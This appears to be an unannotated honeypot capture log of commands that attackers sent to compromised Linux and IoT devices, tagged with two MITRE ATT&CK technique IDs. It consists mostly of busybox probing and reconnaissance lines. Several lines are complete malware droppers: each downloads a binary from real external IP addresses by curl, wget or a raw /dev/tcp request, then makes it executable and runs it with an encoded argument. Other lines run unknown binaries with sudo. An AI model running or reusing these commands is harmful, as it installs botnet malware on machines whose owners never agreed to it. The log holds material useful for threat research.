rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOserFdw1ztIz3hK1wj7UINI4y6sV1TzO0TLXCrHLNNUw0jrBpRLUK9HSK9ERq8I/2TbTP8CwBNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbXdNtIu0jnAvxLUNNLQJdUVst0/0DHNP8a0CtUz2doz1BW3xy7SMdIgxbYK0DHO1jfeErXCPtUg2yDBtBPKN9LVK90Qv8U+0jLVLsKxCtU9ztYzyhK0yTjTMdI2070K1jTXzjfRF6vBP9I61T7CtBTEPc7SNNQKtMU6zTLQO8mzFNU22cA01RarxSDXMc0/wrUe0jXR0DzEHKvBP9su2z/dtBbWP9bQNNcVpcsg0THbIMe8CtY31toz1BW3wS7SMtcgwbcWyjTT0yvWFbHJONMx1zzTtBHUK9LSNsoRst080jLZOMO0F9Ul0dk9yhWzxCDSLtE7wb8S1DTR0CXcCrfCPs0x1jbdvRLeM9DRNNYEvd080jnNPMa2CtU80toz1BW2xS7XN808x7YK3DfO0THSHrPDP9M1wz/DtwrVNtDONNUSq8Y32TbTP8O9BNU30s431hKrxzfNMtM8ybMU1TXTwDHTCrfHPc0x2yDKsR7SNdHQM8QVtMEg2jHNP8K0CtU92doz1BW3xi7SMdIgx7EK1TPSzjTXEL/FPtIy0i7HsgrWMdPONNUQq8U92TbTP8C8BNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbzdP9U0zTbAvxLUNNPWJdUctt071S7RPcKrEd0/1tA01xP6S52i2R2bB+Hkle5chnlOGg0c" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')

T1005 Data from Local System
T1070 Indicator Removal


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('./ ; dd if || while ; do echo ; done || cat ;', 'sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PCWIF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FQMPB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CWQQZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NEMRQ


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZDMOZ


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/pZeb15atEj; if [ ! -f /tmp/pZeb15atEj ]; then wget http://129.144.180.26:60107/linux -O /tmp/pZeb15atEj; fi; if [ ! -f /tmp/pZeb15atEj ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/pZeb15atEj && chmod +x /tmp/pZeb15atEj && /tmp/pZeb15atEj Ii7gp7fCyGEuOWHO36Gl6TRZXz/lo6/dwGA5JmLKwruk/zZZVTjhoLve2WElLn7I2Lu/4DZfQTznq7ncyGAgN2jX3r6h/zpXQT/mpbXayWEkI3DI3r2/4zxZQTrov73cy2ohJ2HJ36+l5iBdWzz/pqHezWEtIWDI2Lux5DZBXT7ov73fzX4uIWrP3L6i4S5bWCDgobjCyGUlOWLI1LWn4T9dWi7go7rCwWg5JWHJwr6i4TRZXz/lpa/Yzn4lI2LX3be/5zdVWT7gpbfMwX4lJmfX3rqi/zxeXjTnob7dyXAjIH7L2Ly/4D9bQTjiq7ncyGMuN2HI26Gg4j9BXjvgv77awGohJ2HL2K+g4DxBVj//oL7d12EvLmrP3L6h5i5ZXiDgp7/Cy2EkOWLK1bWn4T9fXi7pv73dzn4lImDX1L2r5z5eWzbxpbjCy2QlOWHAwr6k6TRZXz/hpq/Yzn4lJGbX3ryi/zxeXTTnob7dznAjIH7L2L2/4z9BWDvrp7/dyWk3L37L3be/4D1bQT/gprXayWEjJXDBwr2g4SBeXjn/o7zdw2YnJmDBzLum/zxbXSDgqbvCyGYnLWbJ3b2o8T9cWyDjobbCzmg5IWTD2r+g4jhPVyDjoLfCymI5IWnD2r+g4TxPXj/gv7vY12EhJX7I37ur5z5eXT/xpbjCy2QlOWnMwr2g5DRZXz/jpK/ZwX4lJ2nX3ryl/zdZVTjhoLzc2Wg5JWHAwr2k4iBeVjzrp7/dymY3L37L3b+/4zxaQT/gpbXayWElLnDL3L+/4DdaQTjmv7few2YnJmTBIdlc/BjgwaseCfs4DJdtjddOfmw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/pZeb15atEj && /tmp/pZeb15atEj Ii7gp7fCyGEuOWHO36Gl6TRZXz/lo6/dwGA5JmLKwruk/zZZVTjhoLve2WElLn7I2Lu/4DZfQTznq7ncyGAgN2jX3r6h/zpXQT/mpbXayWEkI3DI3r2/4zxZQTrov73cy2ohJ2HJ36+l5iBdWzz/pqHezWEtIWDI2Lux5DZBXT7ov73fzX4uIWrP3L6i4S5bWCDgobjCyGUlOWLI1LWn4T9dWi7go7rCwWg5JWHJwr6i4TRZXz/lpa/Yzn4lI2LX3be/5zdVWT7gpbfMwX4lJmfX3rqi/zxeXjTnob7dyXAjIH7L2Ly/4D9bQTjiq7ncyGMuN2HI26Gg4j9BXjvgv77awGohJ2HL2K+g4DxBVj//oL7d12EvLmrP3L6h5i5ZXiDgp7/Cy2EkOWLK1bWn4T9fXi7pv73dzn4lImDX1L2r5z5eWzbxpbjCy2QlOWHAwr6k6TRZXz/hpq/Yzn4lJGbX3ryi/zxeXTTnob7dznAjIH7L2L2/4z9BWDvrp7/dyWk3L37L3be/4D1bQT/gprXayWEjJXDBwr2g4SBeXjn/o7zdw2YnJmDBzLum/zxbXSDgqbvCyGYnLWbJ3b2o8T9cWyDjobbCzmg5IWTD2r+g4jhPVyDjoLfCymI5IWnD2r+g4TxPXj/gv7vY12EhJX7I37ur5z5eXT/xpbjCy2QlOWnMwr2g5DRZXz/jpK/ZwX4lJ2nX3ryl/zdZVTjhoLzc2Wg5JWHAwr2k4iBeVjzrp7/dymY3L37L3b+/4zxaQT/gpbXayWElLnDL3L+/4DdaQTjmv7few2YnJmTBIdlc/BjgwaseCfs4DJdtjddOfmw=" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/eek6da5gld; if [ ! -f /tmp/eek6da5gld ]; then wget http://129.144.180.26:60107/linux -O /tmp/eek6da5gld; fi; if [ ! -f /tmp/eek6da5gld ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/eek6da5gld && chmod +x /tmp/eek6da5gld && /tmp/eek6da5gld Ii7gp7fCyGEuOWHO36Gl6TRZXz/lo6/dwGA5JmLKwruk/zZZVTjhoLve2WElLn7I2Lu/4DZfQTznq7ncyGAgN2jX3r6h/zpXQT/mpbXayWEkI3DI3r2/4zxZQTrov73cy2ohJ2HJ36+l5iBdWzz/pqHezWEtIWDI2Lux5DZBXT7ov73fzX4uIWrP3L6i4S5bWCDgobjCyGUlOWLI1LWn4T9dWi7go7rCwWg5JWHJwr6i4TRZXz/lpa/Yzn4lI2LX3be/5zdVWT7gpbfMwX4lJmfX3rqi/zxeXjTnob7dyXAjIH7L2Ly/4D9bQTjiq7ncyGMuN2HI26Gg4j9BXjvgv77awGohJ2HL2K+g4DxBVj//oL7d12EvLmrP3L6h5i5ZXiDgp7/Cy2EkOWLK1bWn4T9fXi7pv73dzn4lImDX1L2r5z5eWzbxpbjCy2QlOWHAwr6k6TRZXz/hpq/Yzn4lJGbX3ryi/zxeXTTnob7dznAjIH7L2L2/4z9BWDvrp7/dyWk3L37L3be/4D1bQT/gprXayWEjJXDBwr2g4SBeXjn/o7zdw2YnJmDBzLum/zxbXSDgqbvCyGYnLWbJ3b2o8T9cWyDjobbCzmg5IWTD2r+g4jhPVyDjoLfCymI5IWnD2r+g4TxPXj/gv7vY12EhJX7I37ur5z5eXT/xpbjCy2QlOWnMwr2g5DRZXz/jpK/ZwX4lJ2nX3ryl/zdZVTjhoLzc2Wg5JWHAwr2k4iBeVjzrp7/dymY3L37L3b+/4zxaQT/gpbXayWElLnDL3L+/4DdaQTjmv7few2YnJmTBIdlc/BjgwaseCfs4DJdtjddOfmw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/eek6da5gld && /tmp/eek6da5gld Ii7gp7fCyGEuOWHO36Gl6TRZXz/lo6/dwGA5JmLKwruk/zZZVTjhoLve2WElLn7I2Lu/4DZfQTznq7ncyGAgN2jX3r6h/zpXQT/mpbXayWEkI3DI3r2/4zxZQTrov73cy2ohJ2HJ36+l5iBdWzz/pqHezWEtIWDI2Lux5DZBXT7ov73fzX4uIWrP3L6i4S5bWCDgobjCyGUlOWLI1LWn4T9dWi7go7rCwWg5JWHJwr6i4TRZXz/lpa/Yzn4lI2LX3be/5zdVWT7gpbfMwX4lJmfX3rqi/zxeXjTnob7dyXAjIH7L2Ly/4D9bQTjiq7ncyGMuN2HI26Gg4j9BXjvgv77awGohJ2HL2K+g4DxBVj//oL7d12EvLmrP3L6h5i5ZXiDgp7/Cy2EkOWLK1bWn4T9fXi7pv73dzn4lImDX1L2r5z5eWzbxpbjCy2QlOWHAwr6k6TRZXz/hpq/Yzn4lJGbX3ryi/zxeXTTnob7dznAjIH7L2L2/4z9BWDvrp7/dyWk3L37L3be/4D1bQT/gprXayWEjJXDBwr2g4SBeXjn/o7zdw2YnJmDBzLum/zxbXSDgqbvCyGYnLWbJ3b2o8T9cWyDjobbCzmg5IWTD2r+g4jhPVyDjoLfCymI5IWnD2r+g4TxPXj/gv7vY12EhJX7I37ur5z5eXT/xpbjCy2QlOWnMwr2g5DRZXz/jpK/ZwX4lJ2nX3ryl/zdZVTjhoLzc2Wg5JWHAwr2k4iBeVjzrp7/dymY3L37L3b+/4zxaQT/gpbXayWElLnDL3L+/4DdaQTjmv7few2YnJmTBIdlc/BjgwaseCfs4DJdtjddOfmw=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VMEUG

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DJFEM


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VPTLB


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat', './ ; dd if || while ; do echo ; done || cat ;')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PEQXN

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LWXGX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIFTO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FJOMQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WLUIQ


uname -a
hostname
uname -m&&pkill upnpsetup
chmod 777 zsvc
chmod 777 upnpsetup
sudo ./upnpsetup
./upnpsetup
sudo ./zsvc
./zsvc

('uname', 'hostname', 'uname -m && pkill', 'chmod', 'chmod', 'sudo', './upnpsetup', 'sudo', './zsvc')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RPUBF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AQCKB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ADYNY


nohup $SHELL -c "curl http://190.123.45.86:60142/linux -o /tmp/jeXa61LQvd; if [ ! -f /tmp/jeXa61LQvd ]; then wget http://190.123.45.86:60142/linux -O /tmp/jeXa61LQvd; fi; if [ ! -f /tmp/jeXa61LQvd ]; then exec 6<>/dev/tcp/190.123.45.86/60142 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jeXa61LQvd && chmod +x /tmp/jeXa61LQvd && /tmp/jeXa61LQvd Qx+2AABa1okMXbWiqqpBDofRRAgCsB8/OAepAwhNyYwPQKquor5FCIzTRhkDvg8gPw20HA1ByYUOSbKqq7BBGInQWgsGtRE/NwypAA5O0Y0JQbS6oqpBCYTJRgwAqQ4+OQWxAghA0p0AXbarqqpBCojJRgAIsQ8/PwunBg5a1YkLXbaqqapCD4ndQgkDtQ8uOgipAA1HyY8KRaqrq7RJDo3WRw8SvxE8Pw+pAw9AyY8LRr6sqrVAAZ3fWgsDtxE6NhG2BQ1O0Y0JQLC6rrNdConUWggEtxE5PgWxAghA1Z0JQ7W0or1dD4vJRgsIsQ8/PA6nBg5a1YkKXbWirqpCDo3dQgkDtQYuPw21HAtG0ZMMSqqoqrZJDo3WRAoSswggPAu0HAhD1pMJQ7SgrLRCC4vHRQsDqQs9IAy1HA9H3YsIQrequrBEFo/TRxcDtw8gOg29BAlF040YS6qoq7xdCo3RWg8AvQk+Pwy+Eg1DyY8MQKqrq7BdDo7dQgkDtAYuOgipAApCyY8LQKqoq7ZJDo3WRQ4SswggPAu0HAFGyYwMRb6sqrVDDZ3WRgkctAYgPA6xHAhH0IcOQ7Wpq6RLFo/WQxcAsg8gNg29BAlF04UYS6qoq71dCojVWggCsAU4Pg6zBxlG140WSrO0qLZdCYXRTg8Ctg86Lge1HAhB0JMNQKqoqL1JDo3WRQgStQ09IAezHAhA1JMJS7OgrLRCCoXHRQ8HqQ08IA61HAtG1YcOQ7WurKRAAZPWQgwctgs5IAa/CA9E1o8NU7CttLZHC5PWRQ0csQw0OA+2AQA8KasmKpSeL25QXfNp2SNWknngExQsFjK4oA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/jeXa61LQvd && /tmp/jeXa61LQvd Qx+2AABa1okMXbWiqqpBDofRRAgCsB8/OAepAwhNyYwPQKquor5FCIzTRhkDvg8gPw20HA1ByYUOSbKqq7BBGInQWgsGtRE/NwypAA5O0Y0JQbS6oqpBCYTJRgwAqQ4+OQWxAghA0p0AXbarqqpBCojJRgAIsQ8/PwunBg5a1YkLXbaqqapCD4ndQgkDtQ8uOgipAA1HyY8KRaqrq7RJDo3WRw8SvxE8Pw+pAw9AyY8LRr6sqrVAAZ3fWgsDtxE6NhG2BQ1O0Y0JQLC6rrNdConUWggEtxE5PgWxAghA1Z0JQ7W0or1dD4vJRgsIsQ8/PA6nBg5a1YkKXbWirqpCDo3dQgkDtQYuPw21HAtG0ZMMSqqoqrZJDo3WRAoSswggPAu0HAhD1pMJQ7SgrLRCC4vHRQsDqQs9IAy1HA9H3YsIQrequrBEFo/TRxcDtw8gOg29BAlF040YS6qoq7xdCo3RWg8AvQk+Pwy+Eg1DyY8MQKqrq7BdDo7dQgkDtAYuOgipAApCyY8LQKqoq7ZJDo3WRQ4SswggPAu0HAFGyYwMRb6sqrVDDZ3WRgkctAYgPA6xHAhH0IcOQ7Wpq6RLFo/WQxcAsg8gNg29BAlF04UYS6qoq71dCojVWggCsAU4Pg6zBxlG140WSrO0qLZdCYXRTg8Ctg86Lge1HAhB0JMNQKqoqL1JDo3WRQgStQ09IAezHAhA1JMJS7OgrLRCCoXHRQ8HqQ08IA61HAtG1YcOQ7WurKRAAZPWQgwctgs5IAa/CA9E1o8NU7CttLZHC5PWRQ0csQw0OA+2AQA8KasmKpSeL25QXfNp2SNWknngExQsFjK4oA==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o')


('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


nohup $SHELL -c "curl http://47.243.128.22:60126/linux -o /tmp/slrMHLhjAU; if [ ! -f /tmp/slrMHLhjAU ]; then wget http://47.243.128.22:60126/linux -O /tmp/slrMHLhjAU; fi; if [ ! -f /tmp/slrMHLhjAU ]; then exec 6<>/dev/tcp/47.243.128.22/60126 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/slrMHLhjAU && chmod +x /tmp/slrMHLhjAU && /tmp/slrMHLhjAU KD9rT+CvpGIEiERFWLC+TEZAlwNitbDiT3QuUVExa07gr6dmDZBAQUa/qEdGSIgGYayv4UFpMVFdJWxG4bWncAORXkJCu6ZEQkaIBmGlu+ZGayxTRSttWOe3u2cAiEFIQbK+RkFDkRdkoq/iQmkxVFcndETiu6NgBpRGUEK/pkRDRogGZ7u25ExsL1RRKHpC56+nZAWIQkhYvbJAQEGVBHCtr+JHYjFUUix0Tui7o2AGl0VQQr+mRERCiAZ+orDqQGouVFQ/YljisK1+B4hCQkCyvkZBRJIXYaCx/kRoLEtSLXRH5LKvZgeXQEhWub1GXkKUBH6gtv5Eay1fUy9rReGhoWcZlERCWLmwWEZJnAFgpLXoVmIxV1QmdEPhr6dlApxGQEe7sVZIXpQGabuz5UV0LlxXJWxG4bKjcAORXkJCu6ZPQl6XAGavt+BHay1FUSh0ROSyu2IEk15CR7K+RkFEnxdkoq/iRWwxXF0xaEbku6NgBpZEUEe6vVhBQpIZYae1/kNoJVNVLmtF8Lm7YgafXkJDuqZHQEecAWCkteVWay1QSy5oQv6wrWQZl0NBTL64R0NJhgNnu7bmWGsrVUsuaE/qt6VhBpVQREWmuUNFXpcEZ7uz4EJgKVVULmpW5La7YgOVXklEprlBRkqQB2Gks/BCbzFXUSd0R+Cvp2IGnEZAR7ywVkRHiAVjo6/hQGkxVFMnYEDgsKVhF5JHXkS7vlhBRpQZaK275kZrL1BFLmtF/rOgYBmXR0dYvLJAQEGUD3Ctr+JHajFRXTFrQeS7o2AGlUTqtD6X+64GBwgJnS552FAPXu2vP1eTLyvhZKuPlIg=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/slrMHLhjAU && /tmp/slrMHLhjAU KD9rT+CvpGIEiERFWLC+TEZAlwNitbDiT3QuUVExa07gr6dmDZBAQUa/qEdGSIgGYayv4UFpMVFdJWxG4bWncAORXkJCu6ZEQkaIBmGlu+ZGayxTRSttWOe3u2cAiEFIQbK+RkFDkRdkoq/iQmkxVFcndETiu6NgBpRGUEK/pkRDRogGZ7u25ExsL1RRKHpC56+nZAWIQkhYvbJAQEGVBHCtr+JHYjFUUix0Tui7o2AGl0VQQr+mRERCiAZ+orDqQGouVFQ/YljisK1+B4hCQkCyvkZBRJIXYaCx/kRoLEtSLXRH5LKvZgeXQEhWub1GXkKUBH6gtv5Eay1fUy9rReGhoWcZlERCWLmwWEZJnAFgpLXoVmIxV1QmdEPhr6dlApxGQEe7sVZIXpQGabuz5UV0LlxXJWxG4bKjcAORXkJCu6ZPQl6XAGavt+BHay1FUSh0ROSyu2IEk15CR7K+RkFEnxdkoq/iRWwxXF0xaEbku6NgBpZEUEe6vVhBQpIZYae1/kNoJVNVLmtF8Lm7YgafXkJDuqZHQEecAWCkteVWay1QSy5oQv6wrWQZl0NBTL64R0NJhgNnu7bmWGsrVUsuaE/qt6VhBpVQREWmuUNFXpcEZ7uz4EJgKVVULmpW5La7YgOVXklEprlBRkqQB2Gks/BCbzFXUSd0R+Cvp2IGnEZAR7ywVkRHiAVjo6/hQGkxVFMnYEDgsKVhF5JHXkS7vlhBRpQZaK275kZrL1BFLmtF/rOgYBmXR0dYvLJAQEGUD3Ctr+JHajFRXTFrQeS7o2AGlUTqtD6X+64GBwgJnS552FAPXu2vP1eTLyvhZKuPlIg=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EPFTX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OJVWM


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WZUQU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RNGAI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FPZTD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZRIRH


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AIUPY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ICDLX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IHLET


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QGMHX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EWUZZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EGHDM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VBAIF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KOPXP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NQPXO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PWTJV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZYTBM


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JJHXV


cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c ; uname -a

('cat | grep | cut -f2 -d: | uniq -c ; uname -a',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BEQRM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YBBLT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YJSPP


nohup $SHELL -c "curl http://47.242.18.69:60148/linux -o /tmp/KcvPSV5pr3; if [ ! -f /tmp/KcvPSV5pr3 ]; then wget http://47.242.18.69:60148/linux -O /tmp/KcvPSV5pr3; fi; if [ ! -f /tmp/KcvPSV5pr3 ]; then exec 6<>/dev/tcp/47.242.18.69/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/KcvPSV5pr3 && chmod +x /tmp/KcvPSV5pr3 && /tmp/KcvPSV5pr3 Xd2PhkPyxMo51cTrSJ6KxSomzY+ESfzEwjDVxO5InorIPijLhIZL7cHJIMrH5VWBisk+IcWOnknqz80wysXrW4iQzyEg04aBVe3CyDrNxe1JgJ7FPiLMh55O7dvJNc7P6kuBjcQwKNOMgUvywcMuysLoQYaOzCMk3YqHVe7ByC7Kx+RVgozHJiDMjIZb5NvJMczb7k+EkMUgKsuOgUvu1cMuycfuVYGJzT4jxYSGS+3FwyDPwvJJhIzTISjTiIlB6sXKNMPV7kmCkMolPs+OhFXtxso6zcXtSYKezCIp04+ET/LEwzDVx+pBho7MICfdi4hV7sHILsLG8k6JhMsgIcmMkE/r28k0ydvtQ4SQzCYgx4iASu7M2zTI2+1IhpDMJyLTjIJM5sPLMc/B/EOejMwnPsyOnkLkz80wysXoW4GPyj4jyZCCSunbyjbBw+xKgobdJCnTjINP8szMLsnE6EGGjswgJt2GnkntzdUxzMDyTYWEyyAhzIyQSuzE1THIx/JKgIrTISLKhIZL7cXNIM/C8kmEjdMhIsqQh0/mw8sxycD8SoGJ0yMk04yBTvLEzTrNxe1JiJ7JJz7PioNV7cXLLs/H5k2Aj8kgMMWQgknu28o3y9vvQ4qIzSEgxZ6BS+TbyjjK2+1JgpDPIiHHiIBK783bNMzb7k+CkMwgKNOHhkHqxco0ydXtSYWQzCIk04+IT/LEyDHBw+xKg4fdISLJkIJJ7tvIMNXE7k2KiM0hI8WehEzyx88y1cTkSZ6PxSomzY+CSfzEyTnVxOhPno/FID7PiIpN7MTLN0J5e8pjrHPyXQmGcBh6xYRSdWQ=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/KcvPSV5pr3 && /tmp/KcvPSV5pr3 Xd2PhkPyxMo51cTrSJ6KxSomzY+ESfzEwjDVxO5InorIPijLhIZL7cHJIMrH5VWBisk+IcWOnknqz80wysXrW4iQzyEg04aBVe3CyDrNxe1JgJ7FPiLMh55O7dvJNc7P6kuBjcQwKNOMgUvywcMuysLoQYaOzCMk3YqHVe7ByC7Kx+RVgozHJiDMjIZb5NvJMczb7k+EkMUgKsuOgUvu1cMuycfuVYGJzT4jxYSGS+3FwyDPwvJJhIzTISjTiIlB6sXKNMPV7kmCkMolPs+OhFXtxso6zcXtSYKezCIp04+ET/LEwzDVx+pBho7MICfdi4hV7sHILsLG8k6JhMsgIcmMkE/r28k0ydvtQ4SQzCYgx4iASu7M2zTI2+1IhpDMJyLTjIJM5sPLMc/B/EOejMwnPsyOnkLkz80wysXoW4GPyj4jyZCCSunbyjbBw+xKgobdJCnTjINP8szMLsnE6EGGjswgJt2GnkntzdUxzMDyTYWEyyAhzIyQSuzE1THIx/JKgIrTISLKhIZL7cXNIM/C8kmEjdMhIsqQh0/mw8sxycD8SoGJ0yMk04yBTvLEzTrNxe1JiJ7JJz7PioNV7cXLLs/H5k2Aj8kgMMWQgknu28o3y9vvQ4qIzSEgxZ6BS+TbyjjK2+1JgpDPIiHHiIBK783bNMzb7k+CkMwgKNOHhkHqxco0ydXtSYWQzCIk04+IT/LEyDHBw+xKg4fdISLJkIJJ7tvIMNXE7k2KiM0hI8WehEzyx88y1cTkSZ6PxSomzY+CSfzEyTnVxOhPno/FID7PiIpN7MTLN0J5e8pjrHPyXQmGcBh6xYRSdWQ=" &#UPX!

nohup $SHELL -c "curl http://47.242.18.69:60148/linux -o /tmp/6qdj4VSbcE; if [ ! -f /tmp/6qdj4VSbcE ]; then wget http://47.242.18.69:60148/linux -O /tmp/6qdj4VSbcE; fi; if [ ! -f /tmp/6qdj4VSbcE ]; then exec 6<>/dev/tcp/47.242.18.69/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/6qdj4VSbcE && chmod +x /tmp/6qdj4VSbcE && /tmp/6qdj4VSbcE Xd2PhkPyxMo51cTrSJ6KxSomzY+ESfzEwjDVxO5InorIPijLhIZL7cHJIMrH5VWBisk+IcWOnknqz80wysXrW4iQzyEg04aBVe3CyDrNxe1JgJ7FPiLMh55O7dvJNc7P6kuBjcQwKNOMgUvywcMuysLoQYaOzCMk3YqHVe7ByC7Kx+RVgozHJiDMjIZb5NvJMczb7k+EkMUgKsuOgUvu1cMuycfuVYGJzT4jxYSGS+3FwyDPwvJJhIzTISjTiIlB6sXKNMPV7kmCkMolPs+OhFXtxso6zcXtSYKezCIp04+ET/LEwzDVx+pBho7MICfdi4hV7sHILsLG8k6JhMsgIcmMkE/r28k0ydvtQ4SQzCYgx4iASu7M2zTI2+1IhpDMJyLTjIJM5sPLMc/B/EOejMwnPsyOnkLkz80wysXoW4GPyj4jyZCCSunbyjbBw+xKgobdJCnTjINP8szMLsnE6EGGjswgJt2GnkntzdUxzMDyTYWEyyAhzIyQSuzE1THIx/JKgIrTISLKhIZL7cXNIM/C8kmEjdMhIsqQh0/mw8sxycD8SoGJ0yMk04yBTvLEzTrNxe1JiJ7JJz7PioNV7cXLLs/H5k2Aj8kgMMWQgknu28o3y9vvQ4qIzSEgxZ6BS+TbyjjK2+1JgpDPIiHHiIBK783bNMzb7k+CkMwgKNOHhkHqxco0ydXtSYWQzCIk04+IT/LEyDHBw+xKg4fdISLJkIJJ7tvIMNXE7k2KiM0hI8WehEzyx88y1cTkSZ6PxSomzY+CSfzEyTnVxOhPno/FID7PiIpN7MTLN0J5e8pjrHPyXQmGcBh6xYRSdWQ=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/6qdj4VSbcE && /tmp/6qdj4VSbcE 